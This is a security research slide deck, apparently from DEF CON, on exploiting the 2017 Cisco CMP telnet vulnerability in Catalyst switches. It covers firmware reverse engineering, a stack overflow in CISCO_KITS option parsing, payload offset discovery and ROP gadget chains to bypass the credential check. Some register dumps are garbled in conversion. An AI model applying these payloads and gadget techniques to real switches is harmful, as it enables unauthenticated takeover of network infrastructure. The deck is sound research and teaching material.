Artem Kondratenko
@artkond

Cisco Catalyst
Exploitation
Whoami

- Penetration tester @ Kaspersky Lab
- Hacker
- OSC(P|E)
- Skydiver ;)

DEF CON
Long story short

• On March 26th 2017 Cisco announces that numerous models of switches are vulnerable to unauthenticated remote code execution vulnerability
• No signs of exploitation in the wild
• No exploit available
Cisco advisory

Cisco IOS and IOS XE Software Cluster Execution Vulnerability

Advisory ID: cisco-sa-20170317-cmp
First Published: 2017 March 17 16:00 GMT
Last Updated: 2017 April 3 17:51 GMT
Version 1.2: Final
Workarounds: No workarounds available
Cisco Bug IDs: CSCvd48893
CVSS Score: Base 9.8, Temporal 9.8
Cisco advisory

The Cluster Management Protocol utilizes Telnet internally as a signaling and command protocol between cluster members. The vulnerability is due to the combination of two factors:

- The failure to restrict the use of CMP-specific Telnet options only to internal, local communications between cluster members and instead accept and process such options over any Telnet connection to an affected device, and
- The incorrect processing of malformed CMP-specific Telnet options.
Vendor advice:
Disable telnet
Disable telnet folks

• Telnet is an old legacy protocol
Disable telnet folks

- Telnet is an old legacy protocol
- SSH has been around for decades – a secure replacement for telnet
Disable telnet folks

- Telnet is an old legacy protocol
- SSH has been around for decades – a secure replacement for telnet

- Even more: according to the advisory, using telnet on a catalyst switch might be simple way for the attacker fully compromise the switch
Still not convinced

• No public exploit
• No knowledge of in-the-wild exploitation
• Critical-shmitical, should we even care?
CHALLENGE ACCEPTED
Public sources for researching the vulnerability

• Cisco advisory
• Vault 7 leak
Vault 7: Hacking Tools Revealed

Hacking techniques and potential exploit descriptions for multiple vendors.

This was the source Cisco Systems used for their research on the advisory released on March 26th.
Cisco switch exploit
Codename: ROCEM

Owner: User #71467

ROCEM v1.2-Adverse-1r Testing

ROCEM v1.2 was delivered by Xetron on 9/15/2015 to address ROC-12 - EAR 5471 - ROCEM set/unset does not work with flux. ROCEM Adverse. Regression testing will include test of set/unset feature fixed, test of complete CONOP for use with HG, test ROCEM interactive...
Cisco switch exploit
Codename: ROCEM

Testing Notes

1. Test set/unset feature of ROCEM
   1. DUT configured with target configuration and network setup
   2. DUT is accessed by hopping through three flux nodes as per the CONOP
   3. Reloaded DUT to start with a clean device
Cisco switch exploit
Codename: ROCEM

4. From Adverse ICON machine, set ROCEM:

```
root@debian:/home/user1/ops/adverse/adverse-1r/rocem# ./rocem_c3560-ipbase-mz.122-35.SE5.py -s 192.168.0.254
[+] Validating data/interactive.bin
[+] Validating data/set.bin
[+] Validating data/transfer.bin
[+] Validating data/unset.bin

*******************************

Image: c3560-ipbase-mz.122-35.SE5
Host: 192.168.0.254
Action: Set```
Rocem: Modes of Interaction

• Set
  • Run exploit to set credless authentication

• Unset
  • Run exploit to set credentials back in place

• Interactive Mode
  • Exploit the system and present the attacker with shell immediately
Easy enough. The perfect plan

• Take two switches
• Cluster dem switches!
• Look for a magic whatever there is in the traffic
• ???
• Profit!!!
I HAVE NO IDEA WHAT I'M DOING
Clustering Cisco switches

Controlling Slave-switches from Master

$ telnet 192.168.88.10
   catalyst1#rcommand 1
   catalyst2#show priv
   Current privilege level is 15
### Clustering Catalyst switches

<table>
<thead>
<tr>
<th>MAC Address</th>
<th>Vendor</th>
<th>Type</th>
<th>Function</th>
<th>SNAP</th>
<th>OUI</th>
<th>Switch Model</th>
</tr>
</thead>
<tbody>
<tr>
<td>32.212460238</td>
<td>Cisco Inc.</td>
<td>LLC</td>
<td>68 U, func=UI; SNAP, OUI 0x000000 (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>40.32.42650862</td>
<td>Cisco Inc.</td>
<td>LLC</td>
<td>68 U, func=UI; SNAP, OUI 0x000000 (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>41.32.43028315</td>
<td>Cisco Inc.</td>
<td>LLC</td>
<td>68 U, func=UI; SNAP, OUI 0x000000 (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>42.32.431293216</td>
<td>Cisco Inc.</td>
<td>LLC</td>
<td>62 U, func=UI; SNAP, OUI 0x000000 (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>43.32.431701439</td>
<td>Cisco Inc.</td>
<td>LLC</td>
<td>74 U, func=UI; SNAP, OUI 0x000000 (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>44.32.432006775</td>
<td>Cisco Inc.</td>
<td>LLC</td>
<td>62 U, func=UI; SNAP, OUI 0x000000 (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>45.32.435303978</td>
<td>Cisco Inc.</td>
<td>LLC</td>
<td>67 U, func=UI; SNAP, OUI 0x000000 (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>46.32.436159730</td>
<td>Cisco Inc.</td>
<td>LLC</td>
<td>67 U, func=UI; SNAP, OUI 0x000000 (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>47.32.436347579</td>
<td>Cisco Inc.</td>
<td>LLC</td>
<td>67 U, func=UI; SNAP, OUI 0x000000 (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>48.32.438122615</td>
<td>Cisco Inc.</td>
<td>LLC</td>
<td>65 U, func=UI; SNAP, OUI 0x000000 (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>49.32.438370619</td>
<td>Cisco Inc.</td>
<td>LLC</td>
<td>65 U, func=UI; SNAP, OUI 0x000000 (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>50.32.438657224</td>
<td>Cisco Inc.</td>
<td>LLC</td>
<td>65 U, func=UI; SNAP, OUI 0x000000 (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>51.32.438846725</td>
<td>Cisco Inc.</td>
<td>LLC</td>
<td>71 U, func=UI; SNAP, OUI 0x000000 (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>52.32.439094625</td>
<td>Cisco Inc.</td>
<td>LLC</td>
<td>65 U, func=UI; SNAP, OUI 0x000000 (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>53.32.439343393</td>
<td>Cisco Inc.</td>
<td>LLC</td>
<td>65 U, func=UI; SNAP, OUI 0x000000 (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>54.32.440833885</td>
<td>Cisco Inc.</td>
<td>LLC</td>
<td>70 U, func=UI; SNAP, OUI 0x000000 (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>55.32.441077091</td>
<td>Cisco Inc.</td>
<td>LLC</td>
<td>67 U, func=UI; SNAP, OUI 0x000000 (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>56.32.448414993</td>
<td>Cisco Inc.</td>
<td>LLC</td>
<td>85 U, func=UI; SNAP, OUI 0x000000 (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>57.32.451538687</td>
<td>Cisco Inc.</td>
<td>LLC</td>
<td>76 U, func=UI; SNAP, OUI 0x000000 (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>58.32.648376338</td>
<td>Cisco Inc.</td>
<td>LLC</td>
<td>62 U, func=UI; SNAP, OUI 0x000000 (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Telnet?
### Clustering Cisco switches: L2 telnet

#### Table:

<table>
<thead>
<tr>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>10G</td>
<td>10 Gigabit Ethernet</td>
</tr>
<tr>
<td>1G</td>
<td>1 Gigabit Ethernet</td>
</tr>
<tr>
<td>100M</td>
<td>100 Megabit Ethernet</td>
</tr>
</tbody>
</table>

---

#### Example:

Frame 192: 690 bytes on wire (4800 bits), 690 bytes captured (4800 bits) on interface 0

#### IEEE 802.3 Ethernet

Logical-Link Control

Data (576 bytes)

| Data: 45c60024e9544000ff06cf0660a14ab600a884a8000174214... |

VLAN: Monitoring ethernet trailer, Source Port: 0

<table>
<thead>
<tr>
<th>VLAN</th>
<th>0x02</th>
<th>0x00</th>
<th>0x00</th>
<th>0x00</th>
<th>0x00</th>
<th>0x00</th>
<th>0x00</th>
<th>0x00</th>
<th>0x00</th>
<th>0x00</th>
</tr>
</thead>
<tbody>
<tr>
<td>EtherType</td>
<td>0x8100</td>
<td>0x0000</td>
<td>0x0000</td>
<td>0x0000</td>
<td>0x0000</td>
<td>0x0000</td>
<td>0x0000</td>
<td>0x0000</td>
<td>0x0000</td>
<td>0x0000</td>
</tr>
</tbody>
</table>

---

#### Notes:

- The frame contains a VLAN tag, indicating it is part of a Transparent Bridging packet.
- VLAN 0 is used in this example, which is the default value for transparent bridging.
- The VLAN ID is an 12-bit value, allowing for 4094 VLANs in the 802.1Q standard.
- This example shows a simple illustration of how VLANs can be used to segment network traffic within a single broadcast domain.
Magic telnet option
14. Confirm Xetron EAR 5355 - Debug telnet causes anomalous output

1. Enabled debug telnet on DUT
2. Set ROCEM
3. Observed the following:

   000469: Jun 3 13:54:09.330: TCP2: Telnet received WILL LOCAL-FLOW (33) (refused)
   000471: Jun 3 13:54:09.330: TCP2: Telnet received WILL LINEMODE (34)
   000473: Jun 3 13:54:09.330: TCP2: Telnet received WILL NEW-ENVIRON (39)
   000475: Jun 3 13:54:09.330: TCP2: Telnet received DO STATUS (5)
   000477: Jun 3 13:54:09.330: TCP2: Telnet received WILL X-DISPLAY (35) (refused)
   000479: Jun 3 13:54:09.330: TCP2: Telnet received DO ECHO (1)
   000481: Jun 3 13:54:09.623: Telnet2: recv SB 36 92 OS\"K\"zAuk_Fz90X

4. Observed the same for ROCEM unset, and ROCEM interactive session.
## Telnet commands and options

### Telnet commands:

<table>
<thead>
<tr>
<th>Code</th>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>240</td>
<td>SE</td>
<td>End of subnegotiation parameters.</td>
</tr>
<tr>
<td>241</td>
<td>NOP</td>
<td>No operation.</td>
</tr>
<tr>
<td>242</td>
<td>Data Mark</td>
<td>The data stream portion of a Synch. This should always be accompanied by a TCP Urgent notification.</td>
</tr>
<tr>
<td>243</td>
<td>Break</td>
<td>NVT character BRK.</td>
</tr>
<tr>
<td>244</td>
<td>Interrupt Process</td>
<td>The function IP.</td>
</tr>
<tr>
<td>245</td>
<td>Abort output</td>
<td>The function AC.</td>
</tr>
<tr>
<td>246</td>
<td>Are You There</td>
<td>The function AYT.</td>
</tr>
<tr>
<td>247</td>
<td>Erase character</td>
<td>The function EC.</td>
</tr>
<tr>
<td>248</td>
<td>Erase Line</td>
<td>The function EL.</td>
</tr>
<tr>
<td>249</td>
<td>Go ahead</td>
<td>The GA signal.</td>
</tr>
<tr>
<td>250</td>
<td>SB</td>
<td>Indicates that what follows is subnegotiation of the indicated option.</td>
</tr>
<tr>
<td>251</td>
<td>WILL (option code)</td>
<td>Indicates the desire to begin performing, or confirmation that you are now performing the indicated option.</td>
</tr>
<tr>
<td>252</td>
<td>WON'T (option code)</td>
<td>Indicates the refusal to perform, or continue performing, the indicated option.</td>
</tr>
<tr>
<td>253</td>
<td>DO (option code)</td>
<td>Indicates the request that the other party perform, or confirmation that you are expecting the other party to perform.</td>
</tr>
<tr>
<td>254</td>
<td>DON'T (option code)</td>
<td>Indicates the demand that the other party stop performing, or confirmation that you are no longer expecting the other party to perform.</td>
</tr>
<tr>
<td>255</td>
<td>IAC</td>
<td>Data Byte 255.</td>
</tr>
</tbody>
</table>
All Hope Is Lost

Replaying CISCO_KITS option during generic telnet session doesn’t work 😞

And also...

Cisco IPS rule for this vuln is called “Cisco IOS CMP Buffer Overflow”
MOTHER OF GOD...

REVERSE ENGINEERING
Peeking at firmware

The firmware is available at the flash partition of the switch:

catalyst2#dir flash:
Directory of flash:/

2  -rwx  9771282  Mar 1 1993 00:13:28 +00:00  c2960-lanbasek9-mz.122-55.SE1.bin
3  -rwx   2487  Mar 1 1993 00:01:53 +00:00  config.text
4  -rwx   3096  Mar 1 1993 00:09:27 +00:00  multiple-fs
Peeking at firmware

$ binwalk -e c2960-lanbasek9-mz.122-55.SE1.bin

<table>
<thead>
<tr>
<th>DECIMAL</th>
<th>HEXADECIMAL</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>1120x70</td>
<td>0x70</td>
<td>bzip2 compressed data, block size = 900k</td>
</tr>
</tbody>
</table>

Unpacked binary size is around 30 mb
# Processor: PPC
# Target assembler: GNU Assembler
# Byte sex: Big endian
# SIMD Instructions: Altivec
# Processor Profile: Server

`#include "ppc-asm.h"
.set r1, 1; .set r2, 2
.set lt, 0; .set gt, 1; .set eq, 2; .set so, 3`

`# Segment type: Pure code
.section "ROM"
.byte 0x4D # M
.byte 0x5A # Z
.byte 0x49 # I
.byte 0x50 # P
.byte 0
.byte 0
.byte 0
.byte 1
.byte 0
.byte 0
.byte 0
.byte 0x30 # 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 1
.byte 0
.byte 0
.byte 1
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0`
Jokes aside

- CPU Architecture: PowerPC 32 bit big-endian
- Entry point at 0x3000 (obvious during device boot process if you look at it via serial)
Discovering functions with IDA python

• Nice script by Federico Muttis (aka @acid_)
• https://exploiting.wordpress.com/2011/12/06/quickpost-idapython-script-to-identify-unrecognized-functions/
```python
def define_functions():
    prologues = ['stwu', 'lhz', 'li', 'cmpwi', 'lis']

    print "Finding all signatures"
    ea = 0
    opcodes = set()
    for func in idautils.Functions(idc.SegStart(ea), idc.SegEnd(ea)):
        # Get the opcode
        start_opcode = idc.Dword(func)

        # Get the disassembled text
        dis_text = idc.GetDisasm(func)
        we_like_it = False

        # Filter possible errors on manually defined functions
        for prologue in prologues:
            if prologue in dis_text:
```

Result:

~80k functions discovered
ahhh.. the pain of static analysis

• No symbols.. Well, of course
• The whole OS is a single binary
• Indirect function call via function call tables filled at run time
Setting up debug environment

• There’s no public SDK
• Some firmware has a “gdb kernel” command.
  • Custom gdb server protocol
  • Unsupported by modern versions of gdb

Two options:
• Dig up an old gdb version and try to patch it
• Use IODIDE (by nccgroup)

George Nosenko built an IDA adapter to debug IOS but it’s not public
So I patched GDB...

```
artem@science:~$ sudo ./gdb_ppc_2
GNU gdb 6.0
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "--host=x86_64-unknown-linux-gnu --target=powerpc-elf".
warning: Relocation packet received with no symbol file. Packet Dropped
0x00000000 in ?? ()

(gdb) break 0x3000
No symbol table is loaded. Use the "file" command.
(gdb) break *0x3000
Breakpoint 1 at 0x3000
(gdb) c
Continuing.
Warning:
Cannot insert breakpoint 1.
Error accessing memory address 0x3000: Unknown error -1.
```

IODIDE – the smooth experience

Well.. Had to debug IODIDE to be able to debug IOS
Hunting for string XREFS

After recognizing functions and strings with IDAPython XREFS start to appear:

```
.string "CISCO_KITS"  # DATA XREF: return_cisco_kits+4↑o
.byte 0
.byte 0
```

Digging deeper
Cluster all telnets!

- Telnet code is rather symmetrical
- The code for parsing a custom clustering command for client and server side is found in the same function
Cluster all telnets!

Client side sends a string:

```
x03CISCO_KITS\x012::1:
```

Second string modifier %s – was observed empty in the traffic dump

Let’s take a closer look at the code that parses this string

```c
if ( telnet_struct->is_client_mode ) // client mode? then send "CISCO_KITS" string
{
    if ( telnet_struct->is_client_mode == 1 )
    {
        cisco_kits_string_2 = (char *)return_cisco_kits();
        int_two = return_2();
        tty_struct = get_from tty struct((telnet_struct *) telnet struct_arg->tty_struct);
        *(DWORD *) & telnet_struct_arg->tty struct[1].Field 601;
        return_from_snprintf = format_1(
            128,
            (int) & str buf[8],
            "%s\%s\%s\%s\%s\%s\%s\%s",
            3,
            cisco_kits_string_2,
            1,
            int_two,
            tty_str,
            0);
        telnet_struct = (telnet_struct *) telnet send sb(
            (int) telnet struct arg,
            36,
            0,
            & str buf[8],
            return_from_snprintf,
            u8,
            u7,
            u6);
    }
}
else
{
}
```
Cluster all telnets!

- The server portion of the code parses the “CISCO_KITS” options further down the code
- And it does it in an interesting manner 😊
Cluster telnet

```c
string_buffer = second_char_after_cisco_kits + 1;
for (j = (unsigned int8*)string_buffer; j != ':'; j = (unsigned int8*)string_buffer + 1) {
    str_buf[v19++ + 152] = *j;
    ++string_buffer;
}
```

Copying until “:” to the buffer residing on the stack..😊
Buffalo overflow!
Instruction Access Exception (0x0400)!
SRR0 = 0x41414140  SRR1 = 0x00029230  SRR2 = 0x01490980  SRR3 = 0x00029230
ESR = 0x00000000  DEAR = 0x00000000  TSR = 0x84000000  DBSR = 0x00000000

CPU Register Context:
Vector = 0x00000040  PC = 0x41414140  MSR = 0x00029230  CR = 0x42004044
LR = 0x41414141  CTR = 0x0004ED8C  XER = 0x0000001B
R0 = 0x41414141  R1 = 0x036599B8  R2 = 0x00000000  R3 = 0x0284D6B4
R4 = 0x0000000F  R5 = 0xFFFFFFFF  R6 = 0x00000001  R7 = 0x03659878
R8 = 0x00000000  R9 = 0x033122D4  R10 = 0x0000000F  R11 = 0x00000000
R12 = 0x0001E9C3  R13 = 0x00110000  R14 = 0x00F47A34  R15 = 0x00000000
R16 = 0x0284E1C4  R17 = 0x00000000  R18 = 0x00000000  R19 = 0x00000000
R20 = 0x00000000  R21 = 0x03659BA0  R22 = 0x019ABAD0  R23 = 0x00000100
R24 = 0x00000000  R25 = 0x00000000  R26 = 0x00000024  R27 = 0x41414141
R28 = 0x41414141  R29 = 0x41414141  R30 = 0x0000000F0  R31 = 0x41414141

Stack trace:
PC = 0x41414140, SP = 0x036599B8
Frame 00: SP = 0x41414141  PC = 0x41414141
r0 = 01141141  sp = 036eb170  r2 = 00000000  r3 = 02673c08
r4 = 00000006  r5 = FFFFFFFF  r6 = 00000001  r7 = 036eb030
r8 = 00000000  r9 = 027e1804  r10 = 00000000  r11 = 00000000
r12 = 082a626  r13 = 08118800  r14 = 08f47a34  r15 = 08000000
r16 = 029ae2e8  r17 = 00000000  r18 = 00000000  r19 = 00000000
r20 = 00000000  r21 = 036eb358  r22 = 019a0aad  r23 = 00000100
r24 = 00000000  r25 = 00000000  r26 = 0000002b  r27 = 41441414
r28 = 01141141  r29 = 01141141  r30 = 00000000  r31 = 00000000
pc = 0004efcc  nsr = 00292330  cr = 4200f40a  lr = 01141141
ctr = 0004eddc  xer = 0000001d  d0ar = 0112807c  d0isr = 00292330

SIGTRAP  0:
Trace:  0004efcc

main.coredump: 0004efcc  4e 80 00 20  blr
# Function end
#
# Start of Function
#
main.coredump: 0004efc8  94 21 ff e8  stwr r1,fffffff8e8(r1)
main.coredump: 0004efc8  7c 88 02 a6  rflr r0
main.coredump: 0004efc8  93 81 00 00  stwr r28,$0000(r1)
main.coredump: 0004efc8  93 a1 00 0c  stwr r29,$0000(r1)
main.coredump: 0004efc8  93 c1 00 10  stwr r30,$0010(r1)
main.coredump: 0004efc8  93 e1 00 14  stwr r31,$0014(r1)
main.coredump: 0004efc8  90 01 00 c0  stwr r0,$001c(r1)
main.coredump: 0004efc8  7c 7d 0f 7b  nr r29,r3
main.coredump: 0004efc8  7c 7e 0f 7a  nr r30,r3
main.coredump: 0004efc8  7d 00 00 00  li r28,$0000
main.coredump: 0004efc8  3d 48 01 02  lis r10,$012f
main.coredump: 0004efc8  81 2a 4c 6a  lsz r9,$aadda(r10)
main.coredump: 0004efc8  81 69 00 00  lsz r11,$0098(r9)
main.coredump: 0004efc8  2f 8d 00 00  cmpui crf7,r11,$0000
main.coredump: 0004efc8  41 9e 00 64  bt 30,$0004f0c
main.coredump: 0004efc8  81 2b 00 00  lsz r9,$a0a(r11)
main.coredump: 0004efc8  39 29 00 01  addi r9,r9,$0001
main.coredump: 0004efc8  91 2b 00 04  stwr r9,$0004(r11)
Smashing the stack

• PowerPC stack frame
• Local arguments are placed above the return address
• If the buffer boundaries are not checked we get ourselves a typical overflow scenario
Smashing the stack

Overwriting the return address means the execution flow is now controlled with user input
Locating the PC overwrite offset

- Cyclic patterns are often used to determine the exact location in the user-supplied buffer that overflows the return address

- [https://github.com/Gallopsled/pwntools](https://github.com/Gallopsled/pwntools) – very nice lib with the ability to generate cyclic patterns
In [3]: from pwn import *

In [4]: cyclic_metasploit(200)
Out[4]: 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag'
In [1]: payload = '\xff\xff\xa\x24\x00'
      ...
      payload += '\x03CISCO_KITS\x012:'
      ...
      payload += cyclic_metasploit(200)
PC = 0x64384164
or
‘d8Ad’ in ASCII
from pwn import *
payload = cyclic_metasploit(200)
sock.send(payload)
cyclic_metasploit_find('d8Ad')
Result:
115

Crash – instruction pointer is overwritten by a DWORD at offset 115 (116th byte)
Too easy?

• By the book overflow
• R9 points to our buffer
• No bad chars
• Wow, that looks to good to be true
• Just overwrite Program Counter with a gadget that jumps to R9
<table>
<thead>
<tr>
<th>Register</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>r0</td>
<td>41414141</td>
</tr>
<tr>
<td>r1</td>
<td>00000000</td>
</tr>
<tr>
<td>r2</td>
<td>00000000</td>
</tr>
<tr>
<td>r3</td>
<td>02b73c08</td>
</tr>
<tr>
<td>r4</td>
<td>00000000f</td>
</tr>
<tr>
<td>r5</td>
<td>ffffffff</td>
</tr>
<tr>
<td>r6</td>
<td>00000001</td>
</tr>
<tr>
<td>r7</td>
<td>036eb030</td>
</tr>
<tr>
<td>r8</td>
<td>00000000</td>
</tr>
<tr>
<td>r9</td>
<td>027e1804</td>
</tr>
<tr>
<td>r10</td>
<td>00000000f</td>
</tr>
<tr>
<td>r11</td>
<td>00000000</td>
</tr>
<tr>
<td>r12</td>
<td>0002a626</td>
</tr>
<tr>
<td>r13</td>
<td>00110000</td>
</tr>
<tr>
<td>r14</td>
<td>00f47a34</td>
</tr>
<tr>
<td>r15</td>
<td>00000000</td>
</tr>
<tr>
<td>r16</td>
<td>02bac2e8</td>
</tr>
<tr>
<td>r17</td>
<td>00000000</td>
</tr>
<tr>
<td>r18</td>
<td>00000000</td>
</tr>
<tr>
<td>r19</td>
<td>00000000</td>
</tr>
<tr>
<td>r20</td>
<td>00000000</td>
</tr>
<tr>
<td>r21</td>
<td>036eb358</td>
</tr>
<tr>
<td>r22</td>
<td>019abad0</td>
</tr>
<tr>
<td>r23</td>
<td>00000100</td>
</tr>
<tr>
<td>r24</td>
<td>00000000</td>
</tr>
<tr>
<td>r25</td>
<td>00000000</td>
</tr>
<tr>
<td>r26</td>
<td>00000024</td>
</tr>
<tr>
<td>r27</td>
<td>41414141</td>
</tr>
<tr>
<td>r28</td>
<td>41414141</td>
</tr>
<tr>
<td>r29</td>
<td>41414141</td>
</tr>
<tr>
<td>r30</td>
<td>0000000f</td>
</tr>
<tr>
<td>r31</td>
<td>41414141</td>
</tr>
<tr>
<td>pc</td>
<td>0004efcc</td>
</tr>
<tr>
<td>msr</td>
<td>00029230</td>
</tr>
<tr>
<td>cr</td>
<td>4200404</td>
</tr>
<tr>
<td>lr</td>
<td>41414141</td>
</tr>
<tr>
<td>ctr</td>
<td>0004ed8c</td>
</tr>
<tr>
<td>xer</td>
<td>0000001b</td>
</tr>
<tr>
<td>dar</td>
<td>0112807c</td>
</tr>
<tr>
<td>dsisr</td>
<td>00029230</td>
</tr>
</tbody>
</table>

Read Memory dialog:
Enter the address to read memory from

027e1804
The “jump to r9” gadget

1. Load the contents of register R9 to CTR register
2. Never mind the garbage instruction 😊
3. ”Branch CTR” instruction transfers the control flow to the address contained in register CTR
Doing it like a pro

• Just need to place the address of the "jmp r9" gadget to the place where PC is overwritten
• What could possibly go wrong?
Instruction Access Exception (0x0400)!
Fail

- Both heap and stack are non-executable. Btw, stack resides on the heap ;)
- Device reboots
- But why?
Is this data execution prevention?

- I don’t know
- But there’s been research on Cisco devices before
- Let’s recall the brilliant presentation @BlackHat by Felix "FX" Lindner
- It is suggested that this might happen because of instruction and data caching in PowerPC
- PowerPC has separate instruction and data caches
- Executing data you just wrote doesn’t work
RETURN ORIENTED PROGRAMMING
Return oriented programing: Why?

• A technique to bypass DEP (data execution prevention)
• In our case we avoid instruction caching
Return oriented programing: How does it work?

• Use existing code in the binary to achieve your goals
• Use stack as the data source for instructions that are used
• Chain snippets of code (gadgets) via jmp/call/ret instructions
Return oriented programing: How does it work?

A candidate gadget must meet two conditions:

1. Execute payload (i.e. reading or writing to some memory)
2. Contain instructions to be able to transfer execution flow to the next gadget
Return oriented programing: Limitations

- There is only a limited set of gadgets available
- Most gadgets modify stack frame. This has to taken into account. Returning execution flow to its original path might be tricky because of this.
What kind of action can be performed via ROP?

• Arbitrary memory writes
  ...which might lead to..
• Arbitrary code execution
Arbitrary memory writes via ROP

The idea is simple:

• Find a gadget that loads values from the stack into registers
  • One value will be used as an address to write to
  • Another on will be used as a value to be written at that address

• Find a second gadget that performs a write operation with those two registers
• I.E. write value contained in register r30 to address contained in register r31
One necessary requirement:

The gadget should be able to jump to the next gadget or, if it is the last one, properly return the execution flow.

In both cases we’re looking for gadgets that do an additional operation consisting of the following primitives:

• Take next gadget’s address from the stack
• Load it into the Link Register
• Jump to the value in the Link Register
Gadget chaining to perform arbitrary memory writes

Typical function epilog in the firmware

```
    lwz    r0, 0x20+sender_lr(r1)
    mtlr   r0
    lwz    r27, 0x20+var_14(r1)
    lwz    r28, 0x20+var_10(r1)
    lwz    r29, 0x20+var_c(r1)
    lwz    r30, 0x20+var_8(r1)
    lwz    r31, 0x20+var_4(r1)
    addi   r1, r1, 0x20
    blr
```

```
Write primitive #1

lwz r0, 0x14(r1)
mtlr r0
lwz r30, 8(r1)
lwz r31, 0xc(r1)
addi r1, r1, 0x10
blr

<table>
<thead>
<tr>
<th>Offset from r1</th>
<th>Stack data</th>
</tr>
</thead>
<tbody>
<tr>
<td>+4 (1st gadget addr)</td>
<td>000037b4</td>
</tr>
<tr>
<td>+8 (pointer to write to)</td>
<td>022c8b74</td>
</tr>
<tr>
<td>+0xc (data to write)</td>
<td>00009980</td>
</tr>
<tr>
<td>+0x14 (second gadget)</td>
<td>00dffbe8</td>
</tr>
</tbody>
</table>
Write primitive #1

lwz r0, 0x14(r1)
mtlr r0
lwz r30, 8(r1)
lwz r31, 0xc(r1)
addi r1, r1, 0x10
blr

<table>
<thead>
<tr>
<th>Offset from r1</th>
<th>Stack data</th>
</tr>
</thead>
<tbody>
<tr>
<td>+4 (1st gadget addr)</td>
<td>000037b4</td>
</tr>
<tr>
<td>+8 (pointer to write to)</td>
<td>022c8b74</td>
</tr>
<tr>
<td>+0xc (data to write)</td>
<td>00009980</td>
</tr>
<tr>
<td>+0x14 (second gadget)</td>
<td>00dffbe8</td>
</tr>
</tbody>
</table>
Write primitive #1

lwz r0, 0x14(r1)
mtrl r0
lwz r30, 8(r1)
lwz r31, 0xc(r1)
addi r1, r1, 0x10
blr

<table>
<thead>
<tr>
<th>Offset from r1</th>
<th>Stack data</th>
</tr>
</thead>
<tbody>
<tr>
<td>+4 (1st gadget addr)</td>
<td>000037b4</td>
</tr>
<tr>
<td>+8 (pointer to write to)</td>
<td>022c8b74</td>
</tr>
<tr>
<td>+0xc (data to write)</td>
<td>00009980</td>
</tr>
<tr>
<td>+0x14 (second gadget)</td>
<td>00dffbe8</td>
</tr>
</tbody>
</table>
Write primitive #1

1. Move stack by 0x10
2. Jump to next gadget

lwz r0, 0x14(r1)
mtrlr r0
lwz r30, 8(r1)
lwz r31, 0xc(r1)
addi r1, r1, 0x10
blr
Write primitive #2

```
stw r31, 0x34(r30) ; write contents of r31 to r30
lwz r0, 0x14(r1)  ; setup r0 for next gadget
mtlr r0            ; load r0 to lr
lmw r30, 8(r1)     ;
addi r1, r1, 0x10  ;
blr                 ; jump to next gadget
```
The result

We just wrote arbitrary data to arbitrary address
Looking for gadgets

• https://github.com/sashs/Ropper
Ok, whatever dude... But whatcha gonna write?

The plan is:

• Find a good place in firmware to patch. It might be:
  • Control flow
  • Inner data structures related to authentication
  • Function pointers
The perfect plan

First thing that comes to mind – patch the execution flow, responsible for the credential check.

```c
if ( *(DWORD *)&tty_struct_var[1].field_74 & *(DWORD *)&tty_struct_var[1].field_78
    || 1 == (v40 == 0)
    || *(DWORD *)&tty_struct_var->field_18c & 0x40
    || privilege_level != -1
    || user_access_verification(tty_struct_var, (int)v29, v27, v26, v25, v24) )
```
Wow... Looks like it worked:

$ telnet 192.168.88.10
Trying 192.168.88.10...
Connected to 192.168.88.10.
Escape character is '^[].

catalyst1>
Not quite 😞

Works only under the debugger. Exception is triggered when trying to exploit the live set-up
More static analysis

- A couple of hours (days?) later...

```c
if ( ptr_is_cluster_mode(tty_struct_var->telnet_struct_var) ) // call do_telnet
{
    telnet_struct_var = tty_struct_var->telnet_struct_field;
    ptr_get_privilege_level = (int (__fastcall *)(int))some_libc_func(0, (unsigned int *)&dword_22659D4[101483])
    privilege_level = ptr_get_privilege_level(telnet_struct_var); // equals to 1 during rcommand 1
